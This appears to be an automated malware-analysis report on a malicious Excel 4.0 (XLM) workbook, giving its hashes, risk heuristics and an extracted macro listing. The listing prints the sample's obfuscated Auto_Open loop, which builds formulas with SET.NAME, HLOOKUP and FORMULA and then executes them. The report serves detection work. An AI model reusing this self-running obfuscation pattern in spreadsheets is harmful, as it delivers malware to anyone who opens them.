Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7d0f7d958609587a…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:42:52 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: b43ef6c9f700903bd07732a8bf93d322 SHA-1: 1cb359553414bf7cc6cb9f1d87b8a98603bae177 SHA-256: 7d0f7d958609587ad99c2f3ed55ac122703578fb7f8766cf33c0fa1d718becdf
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6330 bytes
SHA-256: 2600bc75a2824b48b88baae142197dd56a30a83f0ba6b74db33b01fb3f10d721
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  kjc
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E168 
' 0018     26 LABEL : Cell Value, String Constant - byQFsaTzlhZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - CUMhHu len=0 
' 0018     21 LABEL : Cell Value, String Constant - cxXGXu len=0 
' 0018     22 LABEL : Cell Value, String Constant - DEJdTmq len=0 
' 0018     20 LABEL : Cell Value, String Constant - dSxxg len=0 
' 0018     23 LABEL : Cell Value, String Constant - eEXlfHXn len=0 
' 0018     24 LABEL : Cell Value, String Constant - IQDoaIpbi len=0 
' 0018     23 LABEL : Cell Value, String Constant - jOiTtCad len=0 
' 0018     24 LABEL : Cell Value, String Constant - lIoYKbwAK len=0 
' 0018     24 LABEL : Cell Value, String Constant - lssPgxbIY len=0 
' 0018     20 LABEL : Cell Value, String Constant - naYVu len=0 
' 0018     25 LABEL : Cell Value, String Constant - oqnEzyzQgS len=0 
' 0018     26 LABEL : Cell Value, String Constant - POyIzrRIehN len=0 
' 0018     21 LABEL : Cell Value, String Constant - SDOOeT len=0 
' 0018     26 LABEL : Cell Value, String Constant - tmkDMKHXWXm len=0 
' 0018     24 LABEL : Cell Value, String Constant - vfBiKWLEi len=0 
' 0018     22 LABEL : Cell Value, String Constant - wSSORwU len=0 
' 0018     20 LABEL : Cell Value, String Constant - YiuJI len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZkOgDNK len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZVVeX len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  kjc,E77,"SET.NAME("ZkOgDNK",VALUE("0"))",""
'  kjc,E79,"SET.NAME("wSSORwU",ZkOgDNK)",""
'  kjc,E83,"SET.NAME("naYVu",ZkOgDNK)",""
'  kjc,E87,"SET.NAME("lssPgxbIY",COUNTA(byQFsaTzlhZ))",""
'  kjc,E89,"SET.NAME("tmkDMKHXWXm",COUNTA(oqnEzyzQgS))",""
'  kjc,E93,[],""
'  kjc,E95,"SET.NAME("IQDoaIpbi","")",""
'  kjc,E97,"wSSORwU",""
'  kjc,E100,"SET.NAME("SDOOeT",HLOOKUP("*",byQFsaTzlhZ,wSSORwU,FALSE))",""
'  kjc,E104,"eEXlfHXn",""
'  kjc,E108,"SET.NAME("dSxxg",ZkOgDNK)",""
'  kjc,E111,[],""
'  kjc,E114,"dSxxg",""
'  kjc,E117,"jOiTtCad",""
'  kjc,E120,"lIoYKbwAK",""
'  kjc,E125,"DEJdTmq",""
'  kjc,E130,"SET.NAME("POyIzrRIehN",VALUE(HLOOKUP("*",oqnEzyzQgS,DEJdTmq,FALSE)))",""
'  kjc,E135,"YiuJI",""
'  kjc,E139,"IQDoaIpbi",""
'  kjc,E142,"naYVu",""
'  kjc,E145,NEXT(),""
'  kjc,E147,"vfBiKWLEi",""
'  kjc,E151,"SET.NAME("f",INT(T(FORMULA(T(IQDoaIpbi)&"",""&T(vfBiKWLEi)))))",""
'  kjc,E154,"cxXGXu",""
'  kjc,E158,NEXT(),""
'  kjc,E163,RETURN(),""
'  kjc,E188,"SET.NAME("CUMhHu",E77)",""
'  kjc,E191,"byQFsaTzlhZ",""
'  kjc,E195,"SET.NAME("oqnEzyzQgS",R69C13)",""
'  kjc,E198,"SET.NAME("cxXGXu",205)",""
'  kjc,E202,"SET.NAME("ZVVeX",5)",""
'  kjc,E204,CUMhHu(),""
'  kjc,E205,HALT(),""